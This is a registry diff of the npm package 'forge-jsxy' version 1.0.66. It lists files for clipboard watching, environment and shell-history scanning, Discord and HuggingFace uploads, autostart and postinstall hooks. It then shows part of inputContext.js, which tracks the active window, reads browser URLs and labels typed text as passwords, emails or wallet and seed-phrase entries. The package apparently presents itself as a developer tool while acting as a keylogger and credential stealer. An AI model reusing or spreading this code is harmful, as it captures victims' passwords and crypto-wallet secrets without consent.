forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,1094 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.inferInputTagType = inferInputTagType;
37
+ exports.buildInputContextJson = buildInputContextJson;
38
+ const node_child_process_1 = require("node:child_process");
39
+ const fs = __importStar(require("node:fs"));
40
+ const path = __importStar(require("node:path"));
41
+ const node_util_1 = require("node:util");
42
+ const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
43
+ const EXEC_TIMEOUT_MS = 3200;
44
+ const FG_CACHE_MS = 800;
45
+ const FG_LAST_GOOD_CACHE_MS = 30_000;
46
+ const CONTEXT_HINT_CACHE_MS = 30_000;
47
+ const KEYBOARD_TAG_CONTINUITY_MS = 20_000;
48
+ const MAX_FIELD_CHARS = 280;
49
+ const MAX_JSON_CHARS = 3000;
50
+ let cachedForegroundAt = 0;
51
+ let cachedForeground = null;
52
+ let cachedLastGoodForegroundAt = 0;
53
+ let cachedLastGoodForeground = null;
54
+ let cachedContextHintsAt = 0;
55
+ let cachedContextHints = null;
56
+ let suspiciousWindowsPowerShellBurst = 0;
57
+ let suspiciousWindowsPowerShellLastAt = 0;
58
+ let lastWindowsForegroundPid;
59
+ let lastKeyboardTagState = null;
60
+ function hasUsableForeground(fg) {
61
+ if (!fg)
62
+ return false;
63
+ return Boolean((fg.focused_app && fg.focused_app.trim()) ||
64
+ (fg.process_name && fg.process_name.trim()) ||
65
+ (fg.window_title && fg.window_title.trim()) ||
66
+ (fg.window_class && fg.window_class.trim()));
67
+ }
68
+ function cap(s, n = MAX_FIELD_CHARS) {
69
+ if (!s)
70
+ return undefined;
71
+ const one = s.replace(/\s+/g, " ").trim();
72
+ if (!one)
73
+ return undefined;
74
+ return one.length <= n ? one : `${one.slice(0, n - 1)}…`;
75
+ }
76
+ function powershellExe() {
77
+ const sys = process.env.SystemRoot || "C:\\Windows";
78
+ const p = path.join(sys, "System32", "WindowsPowerShell", "v1.0", "powershell.exe");
79
+ if (fs.existsSync(p))
80
+ return p;
81
+ const sysNative = path.join(sys, "SysNative", "WindowsPowerShell", "v1.0", "powershell.exe");
82
+ if (fs.existsSync(sysNative))
83
+ return sysNative;
84
+ return p;
85
+ }
86
+ async function execUtf8(command, args) {
87
+ try {
88
+ const r = await execFileP(command, args, {
89
+ encoding: "utf8",
90
+ timeout: EXEC_TIMEOUT_MS,
91
+ windowsHide: true,
92
+ maxBuffer: 256 * 1024,
93
+ env: process.env,
94
+ });
95
+ const out = String(r.stdout ?? "").trim();
96
+ return out || null;
97
+ }
98
+ catch {
99
+ return null;
100
+ }
101
+ }
102
+ function parseLinuxXpropField(out, key) {
103
+ const rx = new RegExp(`${key}\\([^\\)]*\\)\\s*=\\s*(.+)`, "i");
104
+ const m = out.match(rx);
105
+ if (!m?.[1])
106
+ return undefined;
107
+ return cap(m[1].replace(/^"|"$/g, "").replace(/",\s*"/g, "/"), 320);
108
+ }
109
+ function parseFirstUrl(s) {
110
+ const m = s.match(/https?:\/\/[^\s)\]}>"']+/i);
111
+ return cap(m?.[0], 220);
112
+ }
113
+ function parseClipboardPathHints(s) {
114
+ const text = s.trim();
115
+ if (!text)
116
+ return {};
117
+ const normalizePathToken = (raw) => {
118
+ let t = raw.trim();
119
+ if (!t)
120
+ return "";
121
+ t = t.replace(/^['"`]+|['"`]+$/g, "");
122
+ t = t.replace(/[\],;]+$/g, "");
123
+ // Common shell error suffix: "/path/file: line 12: ..."
124
+ t = t.replace(/:\s*line\s+\d+.*$/i, "");
125
+ // Generic suffix after colon + space
126
+ t = t.replace(/:\s+.*$/i, "");
127
+ return t.trim();
128
+ };
129
+ const fileUri = text.match(/file:\/\/[^\s]+/i)?.[0];
130
+ if (fileUri) {
131
+ const dec = normalizePathToken(decodeURIComponent(fileUri.replace(/^file:\/\//i, "")));
132
+ const p = cap(dec, 240);
133
+ if (!p)
134
+ return {};
135
+ return {
136
+ clipboard_file_path_hint: p,
137
+ clipboard_directory_hint: cap(path.dirname(p), 240),
138
+ };
139
+ }
140
+ const win = text.match(/[a-zA-Z]:\\[^\r\n]+/)?.[0];
141
+ if (win) {
142
+ const p = cap(normalizePathToken(win), 240);
143
+ if (!p)
144
+ return {};
145
+ return {
146
+ clipboard_file_path_hint: p,
147
+ clipboard_directory_hint: cap(path.win32.dirname(p), 240),
148
+ };
149
+ }
150
+ const unix = text.match(/(?:^|\s)(\/[^\r\n"'`]+)(?:\s|$)/)?.[1];
151
+ if (unix) {
152
+ const p = cap(normalizePathToken(unix), 240);
153
+ if (!p)
154
+ return {};
155
+ return {
156
+ clipboard_file_path_hint: p,
157
+ clipboard_directory_hint: cap(path.posix.dirname(p), 240),
158
+ };
159
+ }
160
+ return {};
161
+ }
162
+ function detectClipboardUrls(s) {
163
+ const matches = s.match(/https?:\/\/[^\s)\]}>"']+/gi) || [];
164
+ const out = [];
165
+ for (const m of matches) {
166
+ const u = cap(m, 220);
167
+ if (!u)
168
+ continue;
169
+ if (!out.includes(u))
170
+ out.push(u);
171
+ if (out.length >= 5)
172
+ break;
173
+ }
174
+ return out;
175
+ }
176
+ function detectClipboardFilePaths(s) {
177
+ const normalizePathToken = (raw) => {
178
+ let t = raw.trim();
179
+ if (!t)
180
+ return "";
181
+ t = t.replace(/^['"`]+|['"`]+$/g, "");
182
+ t = t.replace(/[\],;]+$/g, "");
183
+ t = t.replace(/:\s*line\s+\d+.*$/i, "");
184
+ t = t.replace(/:\s+.*$/i, "");
185
+ return t.trim();
186
+ };
187
+ const out = [];
188
+ const win = s.match(/[a-zA-Z]:\\[^\r\n"']+/g) || [];
189
+ const unix = s.match(/(?:^|\s)(\/[^\r\n"'`]+)/g) || [];
190
+ const uris = s.match(/file:\/\/[^\s"']+/gi) || [];
191
+ for (const raw of [...win, ...unix, ...uris]) {
192
+ let v = raw.trim();
193
+ if (v.startsWith("file://")) {
194
+ v = decodeURIComponent(v.replace(/^file:\/\//i, ""));
195
+ }
196
+ v = normalizePathToken(v);
197
+ if (v.startsWith("/") || /^[a-zA-Z]:\\/.test(v)) {
198
+ const p = cap(v, 240);
199
+ if (p && !out.includes(p))
200
+ out.push(p);
201
+ }
202
+ if (out.length >= 5)
203
+ break;
204
+ }
205
+ return out;
206
+ }
207
+ function inferWorkingDirectoryHint(windowTitle, clipboardText) {
208
+ const merged = `${windowTitle || ""}\n${clipboardText || ""}`;
209
+ if (!merged.trim())
210
+ return undefined;
211
+ const win = merged.match(/[a-zA-Z]:\\[^\r\n"'<>|]+/g) || [];
212
+ for (const raw of win) {
213
+ const cleaned = cap(raw.trim(), 240);
214
+ if (!cleaned)
215
+ continue;
216
+ const dir = cap(path.win32.dirname(cleaned), 240);
217
+ if (dir && dir !== "." && dir !== "\\")
218
+ return dir;
219
+ }
220
+ const unix = merged.match(/(?:^|\s)(\/[^\r\n"'<>|]+)(?:\s|$)/g) || [];
221
+ for (const raw of unix) {
222
+ const candidate = raw.trim();
223
+ const m = candidate.match(/\/[^\r\n"'<>|]+/);
224
+ if (!m)
225
+ continue;
226
+ const cleaned = cap(m[0], 240);
227
+ if (!cleaned)
228
+ continue;
229
+ const dir = cap(path.posix.dirname(cleaned), 240);
230
+ if (dir && dir !== "." && dir !== "/")
231
+ return dir;
232
+ }
233
+ return undefined;
234
+ }
235
+ function looksLikeBrowserApp(app) {
236
+ const s = (app || "").toLowerCase();
237
+ return (s.includes("chrome") ||
238
+ s.includes("chromium") ||
239
+ s.includes("edge") ||
240
+ s.includes("firefox") ||
241
+ s.includes("librewolf") ||
242
+ s.includes("brave") ||
243
+ s.includes("opera") ||
244
+ s.includes("vivaldi") ||
245
+ s.includes("arc") ||
246
+ s.includes("zen browser") ||
247
+ s.includes("web content") ||
248
+ s.includes("safari"));
249
+ }
250
+ function inferBrowserName(app) {
251
+ const s = (app || "").toLowerCase();
252
+ if (!s)
253
+ return undefined;
254
+ if (s.includes("msedge") || s.includes("edge"))
255
+ return "edge";
256
+ if (s.includes("chromium"))
257
+ return "chromium";
258
+ if (s.includes("firefox"))
259
+ return "firefox";
260
+ if (s.includes("librewolf"))
261
+ return "firefox";
262
+ if (s.includes("brave"))
263
+ return "brave";
264
+ if (s.includes("vivaldi"))
265
+ return "vivaldi";
266
+ if (s.includes("opera"))
267
+ return "opera";
268
+ if (s.includes("arc"))
269
+ return "arc";
270
+ if (s.includes("zen browser"))
271
+ return "zen";
272
+ if (s.includes("safari"))
273
+ return "safari";
274
+ if (s.includes("chrome"))
275
+ return "chrome";
276
+ return undefined;
277
+ }
278
+ async function tryMacBrowserUrl(app) {
279
+ const a = (app || "").toLowerCase();
280
+ if (!a)
281
+ return undefined;
282
+ let script = null;
283
+ if (a.includes("chrome") || a.includes("brave") || a.includes("vivaldi") || a.includes("opera") || a.includes("edge")) {
284
+ script = [
285
+ `tell application "${app}"`,
286
+ "try",
287
+ "set u to URL of active tab of front window",
288
+ "return u",
289
+ "end try",
290
+ "end tell",
291
+ ];
292
+ }
293
+ else if (a.includes("safari")) {
294
+ script = [
295
+ 'tell application "Safari"',
296
+ "try",
297
+ "set u to URL of front document",
298
+ "return u",
299
+ "end try",
300
+ "end tell",
301
+ ];
302
+ }
303
+ if (!script)
304
+ return undefined;
305
+ const out = await execUtf8("osascript", ["-e", script.join("\n")]);
306
+ return parseFirstUrl(out || "");
307
+ }
308
+ function inferAppType(app, processPath, title) {
309
+ const s = `${app || ""} ${processPath || ""} ${title || ""}`.toLowerCase();
310
+ if (!s.trim())
311
+ return "unknown";
312
+ if (looksLikeBrowserApp(app) || /browser|tab|web/.test(s))
313
+ return "browser";
314
+ if (/code|cursor|vim|emacs|notepad\+\+|sublime|idea|pycharm|vscode/.test(s))
315
+ return "editor";
316
+ if (/terminal|powershell|cmd\.exe|bash|zsh|iterm|gnome-terminal|konsole|xterm/.test(s))
317
+ return "terminal";
318
+ if (/explorer|finder|nautilus|dolphin|thunar|file manager/.test(s))
319
+ return "file_manager";
320
+ if (/word|excel|powerpoint|libreoffice|office/.test(s))
321
+ return "office";
322
+ if (/discord|slack|teams|telegram|whatsapp|skype|wechat/.test(s))
323
+ return "communication";
324
+ if (/steam|epic|unity|unreal|game/.test(s))
325
+ return "game";
326
+ return "application";
327
+ }
328
+ function inferInputHint(windowTitle) {
329
+ const s = (windowTitle || "").toLowerCase();
330
+ if (!s)
331
+ return undefined;
332
+ if (/(password|passcode|otp|2fa|one[- ]time|wallet unlock|unlock wallet|seed phrase|recovery phrase|passphrase)/.test(s)) {
333
+ return "sensitive";
334
+ }
335
+ if (/(search|find)/.test(s))
336
+ return "search";
337
+ if (/(login|sign in|signin|unlock|connect wallet|wallet|account|auth|verify|mail|gmail)/.test(s)) {
338
+ return "login";
339
+ }
340
+ if (/(chat|message|reply)/.test(s))
341
+ return "chat";
342
+ return "generic_text";
343
+ }
344
+ function isLikelyEmailLocalPart(s) {
345
+ if (!s)
346
+ return false;
347
+ if (s.includes("@"))
348
+ return false;
349
+ return /^[a-z0-9._%+\-]{2,64}$/i.test(s);
350
+ }
351
+ function isLikelyEmailDomainFragment(s) {
352
+ if (!s)
353
+ return false;
354
+ if (s.startsWith("@")) {
355
+ return /^@[a-z0-9.-]+\.[a-z]{2,}$/i.test(s);
356
+ }
357
+ return /^(?:gmail|outlook|hotmail|yahoo|icloud|proton|aol)\.[a-z]{2,}$/i.test(s);
358
+ }
359
+ function isLikelyFullEmail(s) {
360
+ if (!s)
361
+ return false;
362
+ const t = s.trim();
363
+ return /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}$/i.test(t);
364
+ }
365
+ function isLikelyPasswordToken(s) {
366
+ if (!s || /\s/.test(s) || s.length < 6)
367
+ return false;
368
+ if (/^https?:\/\//i.test(s))
369
+ return false;
370
+ if (isLikelyFullEmail(s))
371
+ return false;
372
+ const hasAlpha = /[a-z]/i.test(s);
373
+ const hasDigit = /\d/.test(s);
374
+ const hasSymbol = /[^a-z0-9]/i.test(s);
375
+ return hasAlpha && hasDigit && (hasSymbol || s.length >= 10);
376
+ }
377
+ function hasAuthContextSignal(windowTitle, urlHint, appType, inputHint) {
378
+ const title = (windowTitle || "").toLowerCase();
379
+ const url = (urlHint || "").toLowerCase();
380
+ const app = (appType || "").toLowerCase();
381
+ const hint = (inputHint || "").toLowerCase();
382
+ const walletTitle = /(wallet|metamask|phantom|rabby|backpack|keplr|tronlink|coinbase wallet)/.test(title);
383
+ const walletUrl = /(chrome-extension:\/\/|edge-extension:\/\/|moz-extension:\/\/|safari-extension:\/\/)/.test(url) &&
384
+ /(wallet|metamask|phantom|rabby|backpack|keplr|tronlink|coinbase|unlock|login|auth|connect)/.test(url);
385
+ if (walletTitle || walletUrl)
386
+ return true;
387
+ if (hint === "login" || hint === "sensitive")
388
+ return true;
389
+ if (/(accounts\.google\.com|mail\.google\.com|login|signin|auth|oauth|account|verify|challenge|unlock|wallet)/.test(url)) {
390
+ return true;
391
+ }
392
+ if (app === "browser") {
393
+ if (/(login|sign[ -]?in|signin|account|auth|oauth|verify|gmail|mail|unlock)/.test(title))
394
+ return true;
395
+ if (/(accounts\.google\.com|mail\.google\.com|login|signin|auth|oauth|account|verify|challenge|unlock|wallet)/.test(url)) {
396
+ return true;
397
+ }
398
+ }
399
+ return /(login|sign[ -]?in|signin|account|auth|verify|password|passkey|otp|unlock|wallet)/.test(title);
400
+ }
401
+ function inferInputTagType(windowTitle, urlHint, typedText, appType, inputHint, controlSignals) {
402
+ const s = `${windowTitle || ""} ${urlHint || ""}`.toLowerCase();
403
+ const t = (typedText || "").trim();
404
+ const authCtx = hasAuthContextSignal(windowTitle, urlHint, appType, inputHint);
405
+ const controlType = (controlSignals?.controlType || "").toLowerCase();
406
+ const controlName = (controlSignals?.controlName || "").toLowerCase();
407
+ const controlAutomationId = (controlSignals?.controlAutomationId || "").toLowerCase();
408
+ const controlHelpText = (controlSignals?.controlHelpText || "").toLowerCase();
409
+ const controlHints = `${controlType} ${controlName} ${controlAutomationId} ${controlHelpText}`.trim();
410
+ if (controlSignals?.isPassword)
411
+ return "password";
412
+ if (/(password|passcode|pwd|pin|otp|2fa|one[- ]time|verification code)/.test(controlHints))
413
+ return "password";
414
+ if (/(password|passcode|otp|2fa|one[- ]time|pin)/.test(s))
415
+ return "password";
416
+ if (/(search|find)/.test(s))
417
+ return "search";
418
+ if (/(email|e-mail|username|user name|identifier|account|login)/.test(controlHints) && !isLikelyPasswordToken(t)) {
419
+ return "email";
420
+ }
421
+ if (/(email|e-mail)/.test(s) || isLikelyFullEmail(t))
422
+ return "email";
423
+ if (authCtx &&
424
+ (isLikelyEmailDomainFragment(t) || (isLikelyEmailLocalPart(t) && !isLikelyPasswordToken(t)))) {
425
+ return "email";
426
+ }
427
+ if (isLikelyPasswordToken(t))
428
+ return "password";
429
+ if (authCtx && isLikelyPasswordToken(t))
430
+ return "password";
431
+ if (/(url|website|web address|link)/.test(s) ||
432
+ /^https?:\/\//i.test(t) ||
433
+ /^(?:[a-z0-9-]+\.)+[a-z]{2,}(?:\/[^\s]*)?$/i.test(t)) {
434
+ return "url";
435
+ }
436
+ if (/(phone|mobile|tel)/.test(s))
437
+ return "tel";
438
+ if (/(number|amount|qty|quantity|count)/.test(s) || /^\d+$/.test(t))
439
+ return "number";
440
+ if (/^(true|false)$/i.test(t))
441
+ return "checkbox_like";
442
+ return "text";
443
+ }
444
+ function keyboardContextKey(app, pid, title, urlHint) {
445
+ return `${(app || "").toLowerCase()}|${(pid || "").toLowerCase()}|${(title || "").toLowerCase()}|${(urlHint || "").toLowerCase()}`;
446
+ }
447
+ function applyKeyboardTagContinuity(currentTag, typedText, appType, inputHint, windowTitle, urlHint, app, pid) {
448
+ const now = Date.now();
449
+ const t = (typedText || "").trim();
450
+ const tag = (currentTag || "").trim();
451
+ const k = keyboardContextKey(app, pid, windowTitle, urlHint);
452
+ const authCtx = hasAuthContextSignal(windowTitle, urlHint, appType, inputHint);
453
+ let out = tag || undefined;
454
+ if (lastKeyboardTagState &&
455
+ now - lastKeyboardTagState.at <= KEYBOARD_TAG_CONTINUITY_MS &&
456
+ lastKeyboardTagState.contextKey === k) {
457
+ if ((tag === "text" || !tag) &&
458
+ lastKeyboardTagState.tag === "email" &&
459
+ (isLikelyEmailDomainFragment(t) || isLikelyEmailLocalPart(t))) {
460
+ out = "email";
461
+ }
462
+ else if ((tag === "text" || !tag) &&
463
+ authCtx &&
464
+ (lastKeyboardTagState.tag === "email" || lastKeyboardTagState.tag === "text") &&
465
+ isLikelyPasswordToken(t)) {
466
+ out = "password";
467
+ }
468
+ else if ((tag === "text" || !tag) && lastKeyboardTagState.tag === "password" && isLikelyPasswordToken(t)) {
469
+ out = "password";
470
+ }
471
+ }
472
+ if (out) {
473
+ lastKeyboardTagState = { tag: out, at: now, contextKey: k };
474
+ }
475
+ return out;
476
+ }
477
+ function inferClipboardContentType(text) {
478
+ const s = text.trim();
479
+ if (!s)
480
+ return "empty";
481
+ if (/^https?:\/\//i.test(s))
482
+ return "url";
483
+ if (/^file:\/\//i.test(s))
484
+ return "file_uri";
485
+ if (/^[a-zA-Z]:\\/.test(s) || s.startsWith("/"))
486
+ return "path";
487
+ if ((s.startsWith("{") && s.endsWith("}")) || (s.startsWith("[") && s.endsWith("]")))
488
+ return "json_like";
489
+ if (/[{}();<>]/.test(s) && /\b(function|class|const|let|def|import|SELECT|INSERT)\b/i.test(s))
490
+ return "code_like";
491
+ if (s.includes("\n"))
492
+ return "multiline_text";
493
+ return "text";
494
+ }
495
+ function inferClipboardTagType(text, contentType, hasEmail, hasUrl, hasPath) {
496
+ const s = (text || "").trim();
497
+ if (!s)
498
+ return "text";
499
+ if (hasEmail)
500
+ return "email";
501
+ if (hasUrl || contentType === "url")
502
+ return "url";
503
+ if (hasPath || contentType === "path" || contentType === "file_uri")
504
+ return "path";
505
+ if (/^\d+$/.test(s))
506
+ return "number";
507
+ if (isLikelyPasswordToken(s))
508
+ return "password";
509
+ return "text";
510
+ }
511
+ function inferClipboardAppTypeFromContent(contentType, hasUrl, hasPath) {
512
+ if (hasUrl || contentType === "url")
513
+ return "browser";
514
+ if (hasPath || contentType === "path" || contentType === "file_uri")
515
+ return "file_manager";
516
+ if (contentType === "code_like" || contentType === "json_like")
517
+ return "editor";
518
+ if (contentType === "multiline_text" || contentType === "text")
519
+ return "application";
520
+ return undefined;
521
+ }
522
+ function rememberContextHints(payload) {
523
+ const appType = String(payload.app_type || "").trim().toLowerCase();
524
+ if (!appType || appType === "unknown")
525
+ return;
526
+ cachedContextHints = {
527
+ app_type: payload.app_type,
528
+ focused_app: payload.focused_app,
529
+ process_name: payload.process_name,
530
+ process_path: payload.process_path,
531
+ window_title: payload.window_title,
532
+ window_class: payload.window_class,
533
+ browser_name: payload.browser_name,
534
+ capture_method: payload.capture_method,
535
+ };
536
+ cachedContextHintsAt = Date.now();
537
+ }
538
+ function inferBrowserExtensionType(app, windowTitle, urlHint, clipboardText) {
539
+ const s = `${app || ""} ${windowTitle || ""} ${urlHint || ""} ${clipboardText || ""}`.toLowerCase();
540
+ if (!s.trim())
541
+ return undefined;
542
+ if (s.includes("chrome-extension://"))
543
+ return "chrome";
544
+ if (s.includes("edge-extension://"))
545
+ return "edge";
546
+ if (s.includes("moz-extension://"))
547
+ return "firefox";
548
+ if (s.includes("safari-extension://"))
549
+ return "safari";
550
+ if (/chrome|chromium|brave|vivaldi|opera|arc|zen browser/.test(s))
551
+ return "chromium";
552
+ if (s.includes("msedge") || s.includes(" edge "))
553
+ return "edge";
554
+ if (s.includes("firefox") || s.includes("librewolf"))
555
+ return "firefox";
556
+ if (s.includes("safari"))
557
+ return "safari";
558
+ return undefined;
559
+ }
560
+ function inferBrowserExtensionHints(windowTitle, urlHint, textHint) {
561
+ const joined = `${windowTitle || ""} ${urlHint || ""} ${textHint || ""}`.trim();
562
+ if (!joined)
563
+ return {};
564
+ const id = joined.match(/\b[a-z]{32}\b/)?.[0];
565
+ let name;
566
+ const m1 = joined.match(/(?:extension|add-?on|plugin)[:\s-]+([^\|\n]+)/i);
567
+ if (m1?.[1])
568
+ name = m1[1].trim();
569
+ const m2 = joined.match(/([^\-\|\n]{2,60})\s+(?:-\s*)?(?:Chrome|Edge|Firefox|Safari)/i);
570
+ if (!name && m2?.[1])
571
+ name = m2[1].trim();
572
+ return {
573
+ extensionNameHint: cap(name, 120),
574
